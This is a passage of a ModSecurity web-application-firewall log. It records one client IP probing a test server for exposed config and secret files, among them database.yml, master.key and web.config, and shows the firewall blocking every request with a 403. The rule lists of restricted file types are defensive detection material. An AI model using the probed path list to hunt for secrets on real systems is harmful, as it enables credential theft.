&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tsconfig.json&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m03gAAAAc&quot;]
[Sun Mar 01 20:25:46.055351 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tsconfig.json&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m03gAAAAc&quot;]
[Sun Mar 01 20:25:46.055596 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tsconfig.json&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m03gAAAAc&quot;]
[Sun Mar 01 20:25:46.238776 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/webpack.config.js&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /webpack.config.js found within REQUEST_FILENAME: /webpack.config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m05gAAAAc&quot;]
[Sun Mar 01 20:25:46.239031 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m05gAAAAc&quot;]
[Sun Mar 01 20:25:46.239205 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/webpack.config.js&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m05gAAAAc&quot;]
[Sun Mar 01 20:25:46.329796 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.eslintrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .eslintrc found within REQUEST_FILENAME: /.eslintrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m06gAAAAc&quot;]
[Sun Mar 01 20:25:46.330018 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m06gAAAAc&quot;]
[Sun Mar 01 20:25:46.330189 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m06gAAAAc&quot;]
[Sun Mar 01 20:25:46.352261 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.eslintrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .eslintrc found within REQUEST_FILENAME: /.eslintrc.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.js&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m06wAAAAc&quot;]
[Sun Mar 01 20:25:46.352479 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.js&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m06wAAAAc&quot;]
[Sun Mar 01 20:25:46.352635 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.js&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m06wAAAAc&quot;]
[Sun Mar 01 20:25:46.374672 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.eslintrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .eslintrc found within REQUEST_FILENAME: /.eslintrc.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.json&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m07AAAAAc&quot;]
[Sun Mar 01 20:25:46.374895 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.json&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m07AAAAAc&quot;]
[Sun Mar 01 20:25:46.375156 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.eslintrc.json&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m07AAAAAc&quot;]
[Sun Mar 01 20:25:46.512592 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m08gAAAAc&quot;]
[Sun Mar 01 20:25:46.512854 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m08gAAAAc&quot;]
[Sun Mar 01 20:25:46.513013 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m08gAAAAc&quot;]
[Sun Mar 01 20:25:46.558028 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/master.key&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m09AAAAAc&quot;]
[Sun Mar 01 20:25:46.558568 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/master.key&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m09AAAAAc&quot;]
[Sun Mar 01 20:25:46.558757 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/master.key&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m09AAAAAc&quot;]
[Sun Mar 01 20:25:46.945316 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BQAAAAc&quot;]
[Sun Mar 01 20:25:46.945618 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BQAAAAc&quot;]
[Sun Mar 01 20:25:46.945865 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BQAAAAc&quot;]
[Sun Mar 01 20:25:46.946027 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BQAAAAc&quot;]
[Sun Mar 01 20:25:46.967928 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BgAAAAc&quot;]
[Sun Mar 01 20:25:46.968274 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BgAAAAc&quot;]
[Sun Mar 01 20:25:46.968520 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BgAAAAc&quot;]
[Sun Mar 01 20:25:46.968678 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSunR69CYXzb6lY2m1BgAAAAc&quot;]
[Sun Mar 01 20:25:47.013438 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connectionstrings.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CAAAAAc&quot;]
[Sun Mar 01 20:25:47.013931 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connectionstrings.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CAAAAAc&quot;]
